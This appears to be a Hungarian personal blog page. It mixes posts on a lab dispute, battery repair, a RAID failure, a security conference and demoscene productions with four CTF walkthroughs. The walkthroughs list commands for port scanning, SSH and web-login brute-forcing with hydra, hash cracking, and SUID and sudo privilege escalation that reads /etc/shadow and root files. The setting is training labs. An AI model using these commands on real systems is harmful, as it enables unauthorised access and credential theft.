Az eredménnyel mégis probléma volt. Nem találtunk a "kedvenc" génben mutációt. Mert minden laborosnak van egy kedvenc génje, amibe mutációnak kell lenni, ha törik, ha szakad. Ilyen esetekben a megbeszélések során verni szokták az asztalt, hogy ismételjük meg a vizsgálatot ilyen-olyan beállításokkal. Most viszont egyszerűen megbíztak egy másik bioinformatikust titokban. Legalábbis nekünk elfelejtettek szólni.

Talán soha nem jöttünk volna rá, mi is történt, ha egy levelezésbe véletlenül bele nem kerülünk, ahol kiderült, hogy még azokat a mutációkat sem sikerült a másik csoportnak megtalálni, amit mi megtaláltunk. Ennek pedig az volt az oka, hogy a másik csapat nem az smCounter2-t használta, hanem valami saját tákolmányt, ami az UMI információkat teljesen figyelmen kívül hagyta. A PCR duplikátumok pedig jóságosan elfedték a valódi jelet.

Végül, ha már belekerültünk a levelezésbe, akkor szépen átbeszéltük a metodológiát, és a végén ők is megtalálták ugyan azt, amit mi, de a "kedvenc" génből ugyan úgy hiányzott az a nyamvadt mutáció. Hiába, nem vagyunk a Mátrixban, hogy a kanál (illetve esetünkben a DNS) meghajoljon az akaratunknak.

A tanúság, hogy a tudományos kutatásban az egót félre kell tenni. Akkor is, ha ellentmondanak a hipotézisnek, és akkor is, ha az eredményeinket mások ellenőrzik. A kommunikáció pedig fontos, mert előbb-utóbb úgyis kiderülnek a rejtett manőverek. Túl kicsi a kutatói közösség ahhoz, hogy sokáig rejtve maradjanak a titkok.

Szólj hozzá!

Címkék: bioinformatika

Jack of all trades CTF

2024.06.17. 20:30 Travis.CG

Ha sikerül segítség nélkül megoldani egy CTF-et, az tök jó. Ha közben még jól is lehet szórakozni, az még jobb. A Jack-of-all-Trades pont egy ilyen feladat.

Először végigszkenneltem a portokat:

sudo nmap -sS -Pn -sV --top-ports 100 $IP

Csak két port volt nyitva. A 22-es és a 80-as, de a funkciókat felcserélték! Szóval ez egy vicces CTF lesz. Akkor nem árt még egyszer átnézni mindent, hogy az összes rejtett poént kiderüljön.

sudo nmap -sS -Pn -p- $IP

De más nem volt nyitva. A Firefoxnak elég nehéz volt elmagyarázni, hogy mi akkor is böngészni akarunk a 22-es porton, ha az problémát okoz a lelki világának. Az about:config lapot megnyitva, fel kell venni egy új bejegyzést: network.security.ports.banned.override, és ennek meg kell adni a 22-t.

Utána már láthatjuk az oldalt. Jackről megtudjuk, hogy játékokat készít és imádja a dínókat. A forráskódban lesz egy base64 kódolt üzenet, benne egy jelszóval. Ezt érdemes elmenteni. Meg kellene tudni, hogy mihez kaptuk ezt a jelszót! Ugyancsak a forráskódban lesz egy rejtett link is.

A linket megnyitva felhasználó név és jelszó párost kell megadni. Az előzőleg kapott jelszót és a jack nevet használva nem jutunk be, sőt még hibaüzenet sincs, úgyhogy a hydra-t nem tudjuk használni. A forráskódban itt is van rejtett szöveg. A base32 csak az első lépcsőfok, utána még hex is kell. Legalábbis a Cyberchef magic modulja ezt meg tudja állapítani. Ha jobban megnézzük a szöveget, akkor mintha egy link is lenne benne. Tehát van még egy kódolási szint. Jobb híján a rot13-t próbáltam ki, és bingó! Olvasható lett a szöveg.

A leírás szerint a belépéshez szükséges infó a főoldalon van. Segítségként belinkelték a Stegosauridák wikipédia oldalát. Ennek nyomán megpróbáltam a korábban megtalált jelszót és a stegosaur-t, mint felhasználó nevet a bejelentkezésnél. Nem engedett be. Már épp azon keztem el agyalni, hogy talán a wikipédia oldal teljes szövegéből készítek egy felhasználó név listát, amikor eszembe jutott, hogy a főoldalon is egy Stegosaurus képe van.

Aztán idővel leesett a poén is, mint stego! Szteganográfia van a Stegosaurus képben! Mondtam én, hogy vicces CTF lesz ez! A jelszó tehát a képhez kell!

steghide extract -sf stego.jpg

Majd jött az újabb poén:

Hehe. Gotcha!
You're on the right path, but wrong image!

Szóval nem is a Stego a sztego. Valamennyi képet átnézve végül megvan a felhasználónév és a jelszó is. Ha belépünk a recovery.php-n, akkor a következő üzenetet kapjuk:

GET me a 'cmd' and I'll run it for you Future-Jack.

Szóval GET-es paraméterekkel kell parancsokat kiadni. Értem! A home könyvtárban van egy érdekes fájl, potenciális jelszavakkal. Az /etc/passwd fájlból pedig tudjuk a felhasználói nevet. Oké, mégis csak használni fogjuk a hydrát.

hydra -l jack -P jacks_password_list -s 80 $IP ssh

Csak 25 jelszót kell végignézni, gyorsan bejutunk. A felhasználói zászló a szokás CTF-ekkel ellentétben nem egy txt fájl volt, hanem egy jpg kép. Ebből megtudjuk, hogy Jack pingvin-leves recepttel rendelkezik. Mivel lusta voltam, egy online OCR olvasóval szedtem ki a flag-et. Lássuk, milyen titkok derülnek ki még Jackről!

Jack nem sudo-zik, ezért elsőre suid fájlokat kerestem.

find / -perm -u=s 2>/dev/null

Meglepetésemre a strings suid bites. Hmm, mire lehet használni ezt? Valami bináris fájlban kell kutatni? Aztán megint leesett. A strings sima cat-ként működik egy ASCII fájlon. Akkor talán a root flagat is megtudjuk? Általában root.txt szokott lenni, kipróbáltam, hátha szerencsém lesz.

Bingó! Jack nem csak megeszi a pingvineket, de a bőrükből szőnyeget készít, és egy hullát is rejteget a pincében. Enyje, Jack, most lebuktál.

Szólj hozzá!

Címkék: biztonság

Laptop akkumulátor javítás

2024.06.09. 18:10 Travis.CG

Az egyik laptopom egy 2000-ből származó Compaq Armada 100S, amit az intézet elektronikus hulladékai között túrtam. Természetesen az akkumulátora döglött volt. Hálózati feszültségről simán megy, de kicsit kényelmetlen, hogy minden egyes indítás alkalmával a BIOS beállításokkal kell vesződni, ezért elhatároztam, hogy megjavítom az aksit.

Ennél a modellnél az aksi a laptop alja, konkrátan az egyik gumi talp az akkumulátor része. Szerencsére a 2000-es években még nem öntötték műanyagba az egész aksit, ezért egy éles pengével az illesztések mentén le tudtam vágni a tetejét.

aksi1.png

Az aksi belsejében 9 darab sorba kötött Ni-MH cella található, egy elektronika, illetve egy dióda. A leírás alapján az aksi 10.8 V feszültséget ad le, ez alapján egy cella 1.2V feszültséggel üzemel, 4000mAh üzemidővel. Kis utánajárással ilyen cellákat lehet rendelni (sőt, lehet kapni 4800mAh-t is, de az nem volt raktáron). Forrfüleset rendeltem, mert azt gondoltam, azzal könnyebb dolgom lesz.

Amikor megérkeztek a cellák, megpróbáltam kettőt összeforrasztani a fülek mentén és nem sikerült. Egy ónpöttyöt még rá tudtam rakni a fülekre, de két fület nem tudtam összeforrasztani, pedig már a cellák is teljesen átforrósodtak a páka alatt. Kénytelen voltam YouTube továbbképzésre menni. A videók alapján a forrasztóvíz tűnt megoldásnak.

A közeli villamossági boltban nem volt forrasztó víz. Volt viszont forrasztó olaj, forrasztó zselé, forrasztó zsír. Végül az olaj mellett döntöttem, miután az eladóval ketten próbáltuk kitalálni, mire is lenne szükségem. El kell mondjam, tényleg megkönnyítette a forrasztást. Vettem még egy véső formájú hegyet is, ami jobban működött, mint a hegyes vég.

Az új cuccokkal simán összeforrasztottam mindent. Sajnos a dióda forrasztásánál kicsit elszámoltam magam, és nem olyan szögben sikerült rögzíteni, mint az eredeti celláknál volt, aminek az lett a következménye, hogy az összeforrasztott cellák összmérete nagyobb lett. Nehezebben fért bele a műanyag tokba. De egy kis gyömöszölés, nyomkodás segített.

Multiméterrel rámértem a végpontokra, és bizony nem érte el a 10.8 V-ot, csak 7.8 V-t. Ennek ellenére úgy döntöttem, összeszerelem, megpróbálom feltölteni, és csak ha minden jól megy, csak akkor ragasztom rá az akkumulátorra a fedelet.

Bevallom, egy kicsit félve adtam rá a feszültséget. Az első töltésnél nagyon melegedett, féltem, hogy esetleg a sok forrasztás nagyon felhevítette a cellákat, amit azért ezek nem szeretnek, és a végén kigyulladnak. Vagy valahol mégis zárlatosak, ami elkerülte a figyelmemet.

Második töltésre már nem melegedett. Minden rendben ment, a kis ledek is jól működtek. Gondoltam összeragasztom.

Még a makettezős időkből maradt egy műanyag ragasztó, azzal fogattam meg az akkumulátor tetejét, de csak a végén, hogy szükség esetén ne kelljen körbevágni az egészet, ha ismét javítani kell.

aksi3.png

Az üzemidő egy mai laptophoz képest gyatra. Az eredeti dokumentáció szerint is max 1 órát bír. Teljes töltöttség után 20 perccel már villog, hogy ideje feltölteni. Eddig 40 percig mertem akkumulátorról üzemeltetni. Dátumot és időt viszont nem kell állítani. Lakás nem gyulladt ki, összességében a projekt sikeresen zárult.

Szólj hozzá!

Címkék: barkácsolás

Brute It CTF

2024.06.02. 10:04 Travis.CG

Ez egy nagyon könnyed törős feladat volt, magam is meglepődtem, hogy még én is meg tudtam csinálni segítség nélkül.

Az első kérdés, hány nyitott port van. Ha valaki elég szemfüles, a többi kérdésből ki tudja találni, de azért álljon itt az nmap parancs:

nmap -sS -Pn -A -sV --top-ports 10 $IP

A kimenet segítségével az első négy kérdést simán meg lehet válaszolni, mert a -A megpróbálja meghatározni az operációs rendszert, az -sV pedig kiírja a szolgáltatások verzióját.

Meg kell keresni a rejtett webes könyvtárat:

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://$IP/

De igazából olyan egyszerű, hogy három próbálgatással bárki megtalálná. A fenti parancs 10 másodpercen belül köpte a választ.

A következő feladat az admin felület törése volt. A forrásban van némi támpont, hogy ne kelljen a felhasználó nevet is próbálgatni.

hydra -l ****** -P /usr/share/wordlists/rockyou.txt 10.10.8.197 http-post-form "/*****/index.php:user=^USER^&pass=^PASS^:Invalid"

A felhasználó nevet és a könyvtárat kicsillagoztam, hogy azért más is dolgozzon :-)

Letötlhetjük az ssh kulcsot, de a passphrase-t nem kapjuk meg. A weboldalon van egy flag is. Szerezzük meg a passphrase-t:

ssh2john file >hash.txt

A hash.txt-t szerkeszteni kell, mert a fájl neve ott ficereg az elején, és ezt a hashcat nem szereti. Ugyanis én azzal törtem, mert jobban szeretem, mint John-t.

hashcat -a 0 -w 3 hash.txt /usr/share/wordlists/rockyou.txt

Pár pillanat alatt megvan a passphrase. Most már beléphetünk ssh-val. Belépés után a user flaget olvashatjuk. Jöhet a root. A sudo -l megmutatja, milyen programhoz van hozzáférésünk. Azzal a programmal meg tudjuk nézni az /etc/shadow állományt. Ha elmentjük a root hash-t, akkor a fenti hashcat paranccsal azt is törhetjük (feltéve, hogy az is a hash.txt-ben van). A root flaghez is használhatjuk azt a parancsot, amivel az /etc/shadow-t kiírattuk, mert általában a root.txt fájlba helyezik a flag-et.

sudo ***** /root/root.txt

Nagyon jó kis ebéd utáni feladatsor volt.

Szólj hozzá!

Címkék: biztonság

BSides 2024

2024.05.27. 18:06 Travis.CG

Gondoltam egyet és elmentem az idei BSides-ra. Párhuzamosan több konferencia is zajlott a helyszínen, ezért először nem találtam meg a megfelelő termet, de kiszúrtam néhány hosszú hajú, Linux pólós, hátizsákos embert, és rögtön tudtam, hogy őket kell követni, pedig még nem is láttam az agyonmatricázott laptopokat.

Megnéztem az első két előadást, majd ahogy a demópartiknál is megszoktam: "the real party is outside", szóval kimentem az előtérbe, hogy ott is körülnézzek. Összesen három kiállító volt: valami cég, akik terméket akartak rásózni emberekre, a hölgyek a WITSEC-től és a BRFK. Ők egy CTF-el is készültek, amit ki is próbáltam.

Az első néhány feladat teljesen szokásos volt: base64-el kódolt email cím, EXIF-be rejtett információ. Utána jöttek a komolyabbak. Bankszámla szám alapján kellett kitalálni, mi a bank irányító száma. A megfogalmazás nem volt tökéletes, mert én úgy értettem, a központi fiók címe kell, de kiderült, hogy azé a fióké, ahonnan az átutalás indult.

WhatsApp adatbázisból kellett kimenteni a titkos információt. Ez egy sima sqlite állomány volt, de annyi táblázat volt benne, hogy nem találtam a lényeget. Végül meguntam, és közvetlenül a binárisból kerestem ki a flag-et. (Nem volt nehéz, mert minden flag BRFK-val kezdődött.) Kellett egy PDF jelszót is törni, ez is gyorsan megvolt. Volt egy lementett hálózati forgalom, amit Wireshark-al kellett elemezni. Kicsit tartottam a feladattól, de elég volt a HTTP stream-et lementeni, és a válasz ott volt. Videóba is rejtettek el információt. Először végignéztem az egészet, de semmi hasznosat nem láttam, aztán egy hirtelen ötlettől vezérelve a strings-el kiírattam a sztringeket, és ott virított egy újabb BRFK flag.

Kettő feladattal viszont nem boldogultam. Az egyik egy kriptovaluta átutalás nyomon követése volt. Itt azzal akadtam el, hogy a MetaMask-ot nem tudtam beállítani. Bár lehet, hogy az volt a baj, hogy egy korábbi feladat megoldó valamit ügyködött. El kellett volna olvasni a tutorialokat.

A másik sikertelen feladat egy titkosított szöveg visszafejtése volt. Itt is egy csomó időt elvesztegettem, de nem tudtam rájönni a megoldásra. Valószínűleg több szakaszból állt a szöveg és mindegyiket másik módszerrel rejtjelezték.

Miközben oldottam a feladatokat, el-elkalandoztam, mert mellettem néhányan azt mutogatták a rendőröknek, hogyan tudják kinyitni a bilincset. Egy fél órával később valaki más is kereste a bilincset. Nem találta, ezért azzal vígasztalták: valakinek biztos jó estéje lesz.

A feladatok után szóba elegyedtem néhány benfentessel, akik miután megtudták, hogy genetikával foglalkozom, csak arról voltak hajlandóak beszélni. Többször tettem kísérletet, hogy a beszélgetést más mederbe tereljem, de nem sikerült, mindig visszakanyarodtunk a génekhez.

Az elmúlt kb. hat évben - ha apámat nem számoljuk - összesen nem kaptam ennyi kérdést a munkámról, mint itt. Ráadásul tájékozottságban simán lenyomták a hallgatóimat. Egyikük még az AlphaFold-ot is kipróbálta és nagyon tetszett neki a kapott térbeli szerkezet.

Eddig azt gondoltam, menthetetlen kütyü-mániám van, de a rendezvényre még egy laptopot sem vittem. Mások nem fogták ennyire vissza magukat. Megláttam egy Flipper Zero-t az egyik résztvevőnél, és megkérdeztem tőle, milyen firmware-t használ. Nem sejtettem, mit indítok el ezzel. Rövid időn belül előkerült az összes Flipper kiegészítő a táskájából. Akkor már mások is odajöttek, de a fickó csak pakolta ki az újabb és újabb kütyüket. Sőt, elővett két routert is és rögtönzött bemutatót tartott a wifi deautentikációról. Aztán elővett valami mikrokontrollert, amiről azt sem tudtam, micsoda, de mások elismerően bólogattak, mikor meglátták. Volt nála még egy vezeték nélküli forrasztó páka is(ha rosszindulatú lennék, azt mondanám, olyan tiszta volt a hegye, mintha soha nem használták volna). Majd mutatott valami elektromos puskába való lőszert, vagy mit. Szerencsére a zsaruk nem voltak a közelben. Kb. eddig bírtam, de a hátizsák tartalmának még a felét sem láttam. Csak egy könyvet. Kevin Mitnick-ről...

Megnéztem még néhány előadást, de mivel nem vagyok szakmabeli, nagyon nem kötöttek le. Összességében jó kis rendezvény volt.

Szólj hozzá!

Címkék: biztonság

Öntudatlan malware fejlesztők klubbja

2024.05.19. 18:29 Travis.CG

Már az idei Revision intróinak megtekintése közben észrevettem, hogy a szokottnál is agresszívebb a Windows Defender. A 64k intrókat kérdés nélkül törölte, de még a korábban vígan futtatott Mecha is áldozatul esett annak, hogy megvédjenek a kiberborzalmaktól. Régen még kérdeztek a vírusírtók, hogy mi legyen a kérdéses állománnyal, de a valós idejű védelemnél szó nélkül törölt.

Gondoltam, a demók megnézése idejére kikapcsolom az aktív vírusvédelmet, de a Defendert nem olyan fából faragták, hogy csak úgy hagyja magát kikapcsolni. Rögtön megjegyezte, hogy vissza fogja kapcsolni magát. Lassan már úgy érzem, nem is a gép van énértem, hanem én a gépért.

A dolgok akkor vettem furcsa fordulatot, amikor az egyik 2016-os kódomra is trójait riasztott a Defender. Hmm, nem emlékszem, hogy bármi rendkívülit kódoltam volna. Gyakorlatilag képek sorozatát jelenítette meg egy OpenGL ablakban. Az egyetlen diszk művelet a képek és a shaderek betöltése volt, írni nem írt sehova. Mégis miért hiszi a Defender, hogy trójai?

Az egyik lehetőség, hogy valami tényleg megfertőzte a rendszert és átírja a binárisokat. A másik lehetőség, hogy a Defender egy hülye. Egy Defendor.

Szerencsére a kérdés eldöntése nem volt olyan nehéz, mert a kérdéses demóm egy Linuxos partíción is megtalálható, ahol biztos nem módosította senki rajtam kívül. Az egyetlen probléma, hogy a Linuxon található verzió kicsit korábbi, tehát az MD5 értékek eltértek. Algoritmikusan viszont ugyan az.

Mindkét verziót feltöltöttem a VirusTotal-ra. Három, nevenincs vírusirtónak csúfolt valami rögtön kiabálni is kezdett, hogy a kódom trójai. Viszont a statikus elemzés adott néhány igen érdekes eredményt. A kis semmike demóm neten keresztül kapcsolódik a Microsoft NTP szerveréhez, registry bejegyzéseket ellenőriz és Windows komponenseket szkennel. Ezen tulajdonságokat hallva tényleg egy kártékony kód jut az eszünkbe.

Hogyan kerültek ezek a funkciók bele? Hát úgy, hogy a Visual Studio 2015-ös verzióját használtam a fordításhoz. Ott találta ki a Microsoft, hogy milyen remek ötlet ilyen kódokat elhelyezni a lefordított programba, amire nyolc évvel később a saját vírusirtójuk is ugrik.

 Végül a demókat tartalmazó könyvtárat kivételnek állítottam be a Defendornak. Bár nem tudnak róla, de a demoscenerek malware-eket fejlesztenek.

Szólj hozzá!

Címkék: demoscene

Ami elromolhat...

2024.05.12. 11:07 Travis.CG

A rendszer, amiről most szó lesz, egy tárhely, ahol a diszkek RAID 5 tömbben vannak fűzve. Tárolókapacitása 62Tb, aminek nagy részét betelítették a bioinformatikai adatok. Egyik nap tönkrement egy diszk.

A rendszer ezt még vígan tolerálta, de erős figyelmeztetés volt, hogy ideje felkészülni a bajra. Elkezdődött a cserediszkek beszerzése (a közbeszerzésnek nevezett reality show keretében), én meg elkezdtem gondolkodni, hogyan lehetne biztonságba helyezni a meglévő adatokat. Mert ugye biztonsági mentés nincs, annyira kell a tárhely. Szeretünk veszélyesen élni. (Egy időben volt backup, csak a helyigény növekedése felülírta a biztonsági igényeket.)

Annyit kértem a felhasználóktól, hogy a szükségtelen fájlokat kezdjék el törölni, mert van egy másik tárhely (ami szintén használatba van, de az új diszk megérkezéséig talán betelíthetjük), de ott nem fér el ennyi cucc, még tömörítve sem.

Természetesen még csak nem is válaszoltak az emailemre. Akkor elkezdtem én átnézni azokat a könyvtárakat, ahol valami érdekeltségem volt. Találtam egy csomó BAM fájlt, miközben megvolt a FASTQ és a VCF is. Találtam több, mint 2 éves projekteket, melyekből megjelent a publikáció. Kérdeztem, törölhetem-e őket. Azt mondták, törölhetem.

Gondoltam teszek még egy kört, és azokat a projekteket is átnézem, amire nincs rálátásom. Ismét sikerült pár terabyte szükségtelen adatot összeszedni. Ezeket is megkérdeztem, hogy törölhetem-e. Megint nem válaszoltak semmit az emailemre.

Pár nappal később viszont ők kerestek. Nem tudnak belépni a szerverre. Ezen csodálkoztam, mert épp valamit bütyköltem rajta. Rövid keresgélés után kiderült, hogy a RAID 5 tömb nem elérhető. Hoppá! Ez nem jó.

Beléptem a tárhely webes felületére, ahol az az üzenet fogadott, hogy a második diszk is elhalálozott. A nagyon fontos 62Tb-t kitevő adatok eltűntek. Eddig nem pánikolt senki, de ezután, mindenki, mint pók a forró rezsón, úgy rohangált. Röpködtek az emailek, majd rövid idő elteltével mindenki számítógépes szakértővé vált. Jöttek az ötletek, hogyan kell visszaállítani a törölt állományokat. Nem is értettem, miért én csinálom a rendszer felügyeletet, ha ennyi informatikai nagyágyúval vagyok körülvéve.

Aztán tartottunk egy hatalmas Zoom meetinget, amire a PhD hallgatóktól kezdve a csoportvezetőig mindenki ott volt. Kicsit aggódtam is, hogy kikiáltanak bűnbaknak, de szerencsére nyugodt körülmények között zajlott a megbeszélés. Elmondtam nekik, hogy az adatok nem egy darab vinyón vannak, mint a Windows-os PC-jükben, hanem 12-n. A hibatűrés pedig 1 diszk kiesését éli túl, most viszont 2 diszk döglött meg. Ezt el tudták fogadni, de azért megkértek, hogy a supporttól kérdezzem meg, vissza lehet-e állítani az adatokat.

Gondoltam, ez nem fog fájni, ezért megtettem. Azt a választ kaptam, hogy nagyon drágán lehet valamit csinálni, de a siker nem garantált. A beszerzést persze leállítottuk, mert már okafogyottá vált.

Úgyhogy megindult az újratelepítés. Még szerencse, hogy a vezettem egy naplót, milyen rendszergazdai tevékenységeket végeztem a szerveren. Ez most nagyon hasznos volt, mikor emlékezni kellett, milyen programot, hova telepítettem (különösen, amikor a nekem kellett rájönni valamire, mert a program dokumentációja hiányos volt). Sajnos a legújabb feladatokat nem írtam olyan alaposan, mint a négy évvel ezelőttieket, de még így is nagyon sok időt spóroltam magamnak.

Mert minden program kell. Azonnal. Mert dolgozni akarnak ezerrel.

Tanúság: mindig legyen backup, és dokumentálni a szerver beállításokat. És ahogy az amcsi Nikitának tanították:

Szólj hozzá!

Címkék: rendszergazda

Madness CTF

2024.05.05. 22:25 Travis.CG

Akkor közkívánatra jöjjön egy újabb CTF. Ez nem volt kimondottan nehéz, de nagyon megbonyolították.

Először csak egy felületes port scannert futtattam, hogy gyorsan lássam a lényeget. Két port volt csak nyitva, egy ssh és egy web, mindkettő a megszokott helyen.

A web esetén nem voltak könnyen megtalálható könyvtárak, a weboldal is csak az alapértelmezett Apache oldal volt. Vagy mégsem? A bal felső sarokban nem töltődött be a kép! Az URL érvényes volt, könnyedén le is lehetett tölteni, de egyetlen program sem volt képes megnyitni.

A file parancs szerint csak bináris adat volt. Megnéztem hex editorral is. Az első byte-ok szerint PNG kép, de a PicoCTF-ek között rengeteg PNG alapú feladatot oldottam meg, és egyértelmű volt, hogy a fájl további része nem PNG. Ott ugyanis van IHDR, IDAT is, itt meg nem volt.

Itt megakadtam, mert nem ismertem fel a fájlt. Egyetlen furcsa string volt csak benne: *56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Jobb híján beírtam a kacsába, mire megmondta, hogy JPG formátum. Ahá! Nos, a JPG-et annyira nem ismerem, ezért a Wikipédia segítségével próbáltam beírni a szükséges bájtokat, hogy érvényes legyen a fejléc. Valamit viszont mindig elrontottam, mert soha nem akart megjelenni a kép.

Végül vettem egy másik JPG fájlt, és átmásoltam az első 15 byte-ot. A kép olvashatóvá vált, egy titkos könyvtár neve volt benne. A könyvtárat megnyitva csak egy minimális HTML volt, ahol arra kértek, hogy találjuk ki a számot, ami 0 és 99 közötti. De nem volt input mező. Akkor hova írjam be a számot?

Akkor biztos GET-es paraméterekkel lehet. A változó bizonyára a secret lesz, mert a kérdés is arra vonatkozott. Tettem pár próbát, és tényleg az volt. Ha próbálgatni kell weboldalakat, akkor a Burp Suit szokott lenni a bevett eszköz, de nekem nem volt kedvem elindítani, inkább egy egysoros shell szkriptet rittyentettem:

for i in `seq 0 99`; do wget -O $i.html 'http://'$IP'/xxxxxx/?secret='$i ; done

Ahol az xxxxx a titkos könyvtár neve. Volt száz html fájlom. A méretük alapján az egyik nagyobb volt, mint a többi, bizonyára, mert abban plusz információ van. A tippem helyes volt. Volt benne egy jelszó. De mihez? Biztos nem az ssh-hoz, mert nem volt felhasználói nevem.

Visszamentem a képhez, és megnéztem, hogy rejtettek-e el valamit benne. A steghide kérte a passphrase-t, beadtam neki a jelszót. Bingó! Egy kis szövegfájlt kaptam. Ebben volt a felhasználó név. Furcsa volt, hogy a felhasználó név nem értelmes szó, de végül is ez a Madness, nem?

Megpróbáltam ssh-zni, de nem ment. Mi lehet rossz, a felhasználó név, vagy a jelszó? A hint azt mondta, hogy a felhasználó neve ROT13-al kódolt. A KiberSzakács segítségével már értelmes lett a felhasználó név, de ssh-zni továbbra sem tudtam. Úgy tűnik van még egy jelszó valahol.

Ehhez viszont nem találtam semmi nyomot a szerveren. Mindent átnéztem tüzetesen, de sehol nem volt. Kénytelen voltam segítséget kérni. Kiderült, hogy tényleg nem a szerveren volt az infó, hanem a THM weboldalán, a feladat kiírása mellett volt egy kép. Na, abban a képben rejtették el az információt. Csakhogy ahhoz is kellett passphrase! És természetesen a korábban megtalált jelszó nem működött.

Ekkor ráeresztettem a stegseek-et, ami végigpróbálgat egy csomó lehetőséget. Az ki tudta csomagolni. Abban volt az ssh jelszó. Utána már könnyedén be tudtam lépni a gépre, és az első flag-et meg is találtam a felhasználó könyvtárában. Már csak a rootolás volt vissza.

Sudo nem volt, crontab üres. Gondoltam keresek valami suid programot.

find / -perm -u=s

A /bin könyvtárban volt egy screen és egy screen.old program. Hmm, a screen normális esetben a /usr/bin-ben lenne. A screen és a screen.old ráadásul ugyan az volt. Biztos ezt kell használni, elég egyértelműen jelezték. Kicsit gyanús is volt, hogy ilyen könnyen rátaláltam.

Próbálgattam, de nem jutottam semmire. Végül megnéztem, van-e ismert exploit rá:

searchsploit screen

Micsoda véletlen, pont ehhez a verzióhoz van egy eszkalációs leírás! A leírás szerint ha log-ot mentünk a screen-ből, akkor az egy root jogosultságú szöveges fájlt kapunk eredményül. Az exploit annyit csinál, hogy felépít egy szkriptet a log-ból, ami root tulajdonságú lesz, majd elindítja. Lefuttattam, és kaptam egy root shell-t. Ezzel megvolt az utolsó flag is.

Szólj hozzá!

Címkék: biztonság

Wgel CTF

2024.04.28. 18:01 Travis.CG

Ez egy nagyon tanúságos CTF volt. Megmutatta, hogy hiába a felkészültség, hiába az eszközök ismerete, nagyon könnyű elsikkadni a megoldás felett.

A virtuális gép indítása után ellenőriztem a nyitott portokat nmap-el. Kettő volt nyitva, a 22-es és a 80-as. A weboldal csak az alap Apache oldal volt. Már több CTF-ben is használt trükk, hogy ennek az oldalnak a forrásában rejtenek el információt, ezért azonnal megnéztem, itt mit találok. Egy apró információ morzsa volt csak egy kommentben: Jessie frissítse a weboldalt. Hmm, akár még felhasználó név is lehet.

Utána gobuster-el estem a weboldalnak. Ez a könyvtárakat listázza ki. Kell neki egy szólista, amit végigpróbálgat. Két könyvtár jött fel: sitemap és icons.

Itt már egy statikus weboldalt találni. A leírás szerint Colorlib templátot használtam. Gyors keresés a neten, és láttam, hogy ez egy WordPress stílus. Akkor futtassuk a wp-scan-t. A wp-scan szerint ez az oldal nem WordPress. Kínomban wget-el letöltöttem az egészet:

wget -r -np http://$IP/sitemap/

Semmi használható információt nem találtam, viszont úgy tűnt, statikus az oldal, nem PHP alapú. Vagyis weben keresztül nem lehet bejutni. Lefuttattam a gobuster-t még egyszer, a lehető legnagyobb szólistával, ami miatt több, mint egy órán keresztül vizsgálta a könyvtárakat, de nem talált semmi továbbit.

Átnéztem a képeket, hátha ott rejtettek el valamit. A stegseek-el végignyálaztam valamennyit, de nem volt eredménye.

for i in *.jpg; do stegseek $i; done

Arra gondoltam, hátha a felhasználó névvel kell bruteforce-olni az ssh-t. Először egy ssh sebezhetőséget próbáltam ki, hogy a felhasználó tényleg létezik-e.

searchsploit openssh
searchsploit -m linux/remote/40136.py
python3 40136.py -u Jessie $IP

Természetesen nem működött, mert elavult könyvtárral fejlesztették. Átírtam a forráskódot, hogy time() helyett perf_counter() metódust használjon. Ekkor lefutott.

A program először random felhasználóneveket próbálgat, majd a tesztelendő nevet. A hibaüzenetek válaszidejéből következtet a felhasználó létére. Kisbetűvel nem talál semmit, nagy kezdőbetűvel találatot adott. A kiírt válaszidő alapján én nem gondoltam, hogy annyira szignifikáns lett volna a különbség, de elhittem a programnak.

Ráeresztettem a hydrát a rendszerre. Órákon keresztül futott. Ökölszabály, hogy a CTF-eknél 15 perc után már nem érdemes folytatni a nyers erejű támadásokat, mert a feladat készítői nem kínozni akarják a versenyzőket, de mivel semmi nem volt a kezemben, hagytam, hogy fussanak. Mondanom sem kell, hogy nem lett eredménye.

Teljesen kifogytam az ötletekből, úgyhogy megnéztem egy leírást. Ott a dirb-t használták a common.txt szófájllal. Bár nem hittem benne, hogy sokkal több szó lenne benne, mint a big-ben, amit én használtam, azért lefuttattam. Kb. 10 másodperc után megvolt a /.ssh könyvtár.

dirb http://$IP/ /usr/share/wordlists/dirb/common.txt

A felhasználónév megvolt korábbról, és azt is tudtam, hogy nagy betűvel kell írni. Azzal mégsem tudtam belépni. Beírtam kisbetűvel, azzal simán beengedett. Ennyit a szuper sérülékenységről.

A felhasználó egyetlen programot tudott sudo-zni, a wget-et. A GTFOBins szerint lehet shell-t indítani wget-el. Ez sem ment, mert nincs --use-askpass opció! Végül maradt a fájl olvasás, de nem tudtam a fájlnevet. Abban biztos voltam, hogy benne van a flag szó és txt-re végződik. Elkezdtem próbálgattam és a harmadik kísérlettel megvolt a root flag is.

wget -i /root/flag.txt

A fenébe, ez nehéz volt!

1 komment

Címkék: biztonság

Cseppet sem objektíven: Revision 2024

2024.04.24. 16:51 Travis.CG

Bár nem voltam az idej Revision-ön, azért végignéztem a prodokat. Több, mint 200 alkotás volt, nekem is időbe került, mire átrágtam magam rajtuk.

Modern grafika

Az idei Revision grafikái közül a 3D renderek tetszettek a legjobban. Személyes kedvencem a Historian és a Cult of the cyosleepers volt. A többit olyan gyors munkának éreztem. Még Made képe is olyan átlagosra sikeredett.

Animált GIF

A legtöbb GIF olyan volt, mintha valami internetes mém akarna lenni. Hiányoltam az igazán kreatív megoldásokat. Unreal és Siz release biztos érdekes lett volna, ha sikerül befejezniük. A hirtelen eltűnő figura sokat rontott rajta.

Paintover

Ha már gyors munka. A Paintover képeknél mindenkinek ugyan annyi ideje van. Itt jobban megerőltették magukat a grafikusok. Unreal bikás képe hozta a szokásos magas minőséget. Már másodszor látok macskákra támadó kacsát. Ja, csak cpdt indult ebben a kompóban is.

Fotó

A fotók hozták a nagy partik átlagos színvonalát. Nekem legjobban a Röiven tetszett. Nem tudom, hogy sikerült ilyen élesre a madár.

Animációk

Buborékember. Ez jutott eszembe a frozenwilds vidóról. LFT mostanában zenész lett, és egyre hülyébb hangszereket szerkeszt C64-ek felhasználásával. Továbbra sem fogyott ki az ötletekből, most éppen önmagával játszott négykezes zongoraművet. Nem sokat értettem a Mitraaga című szerzeményből, de még így is egy csomót röhögtem rajta. Ennyi hülyeséget ilyen primitív módon ritkán láttam. Erre nem nagyon van szó. Az Orion egész jó volt, kicsit a szünetek hosszúak voltak az egyes jelenetek között. A fraktál-éhségemet a Mainframe csillapította.

Wild

